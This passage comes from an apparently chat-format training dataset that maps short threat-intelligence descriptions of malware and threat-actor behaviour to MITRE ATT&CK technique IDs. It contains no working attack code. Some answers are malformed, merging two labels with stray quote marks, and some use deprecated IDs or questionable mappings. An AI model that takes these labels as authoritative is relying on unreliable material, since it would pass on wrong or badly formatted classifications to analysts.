            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can use Dropbox for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNSPOT encrypted log entries it collected with the stream cipher RC4 using a hard-coded key. It also uses AES128-CBC encrypted blobs for SUNBURST source code and data extracted from the SolarWinds Orion <MsBuild.exe\" process."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aoqin Dragon has used custom malware, including Mongall and Heyoka Backdoor, in their operations."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MechaFlounder has the ability to upload and download files to and from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some S-Type samples have been packed with UPX."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used PowerShell scripts for execution, including use of a macro to run a PowerShell command to decode file contents."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Droppers used by Putter Panda use RC4 or a 16-byte XOR key consisting of the bytes 0xA0 – 0xAF to obfuscate payloads."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects a list of files and directories in C:\\ with the command dir /s /a c:\\ >> \"C:\\windows\\TEMP\\[RANDOM].tmp\"."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS identifies files with certain extensions from USB devices, then copies them to a predefined directory."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AveMaria is a new botnet, whose first version we found in September 2018, right after the arrests of the FIN7 members. We have medium confidence that this botnet falls under the FIN7 umbrella. In fact, AveMaria is a classic infostealer bot that collects all possible credentials from various types of software: browsers, email clients, messengers, etc., and can act as a keylogger. Since the beginning of 2019, we have collected more than 1300 samples and extracted more than 130 C2s."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection', 'T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SoreFang can collect the hostname, operating system configuration, product ID, and disk space on victim machines by executing Systeminfo."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can recover hashed passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flagpro can execute malicious VBA macros embedded in .xlsm files."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "compressed data with zlib prior to sending it over C2."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackConfig can leverage API functions such as \"ShellExecuteA\" and \"HttpOpenRequestA\" in the process of downloading and executing files."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Keydnap uses a resource fork to present a macOS JPEG or text file icon rather than the executable's icon assigned by the operating system."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "infected victims using JavaScript code."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The encrypted message is then Base64 encoded, replacing all the ‘/’ and ‘+’ characters with the ‘.’ and ‘-’ characters, respectively"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If  cannot access shares using current privileges, it attempts access using hard coded, domain-specific credentials gathered earlier in the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The initial beacon packet for  contains the operating system version of the victim."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETEAGLE will decrypt resources it downloads with HTTP requests by using RC4 with the key \"ScoutEagle.\""
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZIRCONIUM has used a tool to enumerate proxy settings in the target environment."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum loader only executes the payload after the left mouse button has been pressed at least three times, in order to avoid being executed within virtualized or emulated environments."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anchor has come with a packed payload."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has performed C2 using DNS via A, OPT, and TXT records."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Caterpillar WebShell has a command to modify a Registry key."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy has a built-in module for port scanning."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor's dispatcher can establish persistence by registering a new service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Blue Mockingbird has used wmic.exe to set environment variables."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FELIXROOT collects information about the network including the IP address and DHCP server."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HotCroissant has used the open source UPX executable packer."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet uses an RPC server that contains a routine for file deletion and also removes itself from the system through a DLL export by deleting specific files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN4 has used HTTP POST requests to transmit data."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LockBit 2.0 is known for its extortion tactics, encrypting devices and demanding a ransom."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can execute commands on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The White Company has performed anti-analysis checks to determine if its malware was in a debugging environment."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has accessed victims’ internal knowledge repositories (wikis) to view sensitive corporate information on products, services, and internal business operations."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used COM hijacking to establish persistence by hijacking a class named MMDeviceEnumerator and also by registering the payload as a Shell Icon Overlay handler COM object ({3543619C-D563-43f7-95EA-4DA7E1CC396A})."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SCT File Analysis The code of the Defender.sct file is an obfuscated JavaScript"
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can retrieve data from specific Windows directories, as well as open random files as part of Virtualization/Sandbox Evasion."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "discovers shares on the network"
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can bypass UAC by registering as the default handler for .MSC files."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "leveraged an open-source tool called SoftPerfect Network Scanner to perform network scanning."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cuba can query service status using \"QueryServiceStatusEx\" function."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Enumerates running processes for “Wireshark” and “Sysinternals”"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Each web shell instance is configured to contain SP, Key, and Log variables. When the malicious ISAPI filter captures a username matching this variable, it knows to handle the incoming HTTP request as a command to the web shell. The DES key to encrypt the credentials in the configuration observed by CTU researchers is 12345678, and the log file is c:\\log.txt. The decrypted contents of the log file adhere to the format in Figure 22"
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Most of CARBANAK’s strings are encrypted in order to make analysis more difficult. We have observed that the key and the cipher texts for all the encrypted strings are changed for each sample that we have encountered, even amongst samples with the same compile time. The RC2 key used for the HTTP protocol has also been observed to change among samples with the same compile time. These observations paired with the use of campaign codes that must be configured denote the likely existence of a build tool"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Taidoor has the ability to modify the Registry on compromised hosts using \"RegDeleteValueA\" and \"RegCreateKeyExA\"."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Maze has checked the language of the machine with function \"GetUserDefaultUILanguage\" and terminated execution if the language matches with an entry in the predefined list."
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers the victim’s IP address via the ipconfig -all command."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This appears to be an implementation of hashbusting — a method of obfuscation in which a malware sample is subtly changed on the fly so each sample has a different checksum. As a result, the SHA256 hash of each payload downloaded from the sites in question appeared to be unique. However, the SSDEEP fuzzy hash of this sample was as follows"
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackEnergy communicates with its C2 server over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pysa can perform network reconnaissance using the Advanced Port Scanner tool."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "communicates over ports 80, 443, 53, and 8080 via raw sockets instead of the protocols usually associated with the ports."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wingbird side loads a malicious file, sspisrv.dll, in part of a spoofed lssas.exe service."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote templates are a feature of Microsoft Word which allow a document to load a template to be used in a document – this template can be externally hosted, either on a file share, or on the internet. The template is then loaded when the document is opened. The Inception attackers use this feature in a malicious context as shown in Figure 1 below"
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Whitefly has encrypted the payload used for C2."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Internal web servers are often not configured with the same security controls as public-facing counterparts, making them more vulnerable to exploitation by APT40 and similarly sophisticated groups"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEMP.Veles has used a VPN to persist in the victim environment."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Meteor has the ability to discover the hostname of a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WannaCry enumerates current remote desktop sessions and tries to execute the malware on each session."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "downloads additional files that are base64-encoded and encrypted with another cipher."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware will ultimately be extracted to the %LocalAppData%\\Packages\\PXT folder, which includes the PHP.exe local interpreter, various scripts used to steal information, and supporting tools, as shown below."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CHOPSTICK provides access to the Windows Registry, which can be used to gather information."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Honeybee, at least one identified persona was used to register for a free account for a control server."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon first execution of TONEDEAF, FireEye identified a callback to the C2 server offlineearthquake[.]com over port 80."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port', 'T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Squirrelwaffle has downloaded and executed additional encoded payloads."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Diavol can attempt to stop security software."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has also been spotted using a malicious Docker image which can be found on Docker Hub to infect its victims’ servers"
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy a container', 'T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Waterbear has the ability to decrypt its RC4 encrypted payload for execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QUADAGENT gathers the current domain the victim system belongs to."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "persists via a login item."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 3: The first step of decryption will perform XOR on one byte using the previous adjacent byte, starting from the last byte and excluding the first byte"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MimiPenguin can dump process memory and extract clear-text credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can identify whether it has been run previously on a host by checking for a specified folder."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the user enters the targeted website, the attacker is notified and can take over the device remotely. As the victim accesses their online banking account, the attacker can display full-screen overlay images (hence the name “remote overlay”) designed to appear like they are part of the bank’s website. These pages can either block the victim’s access to the site, allowing the attacker to move money after initial authentication, or include additional data fields that the user is prompted to fill out"
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
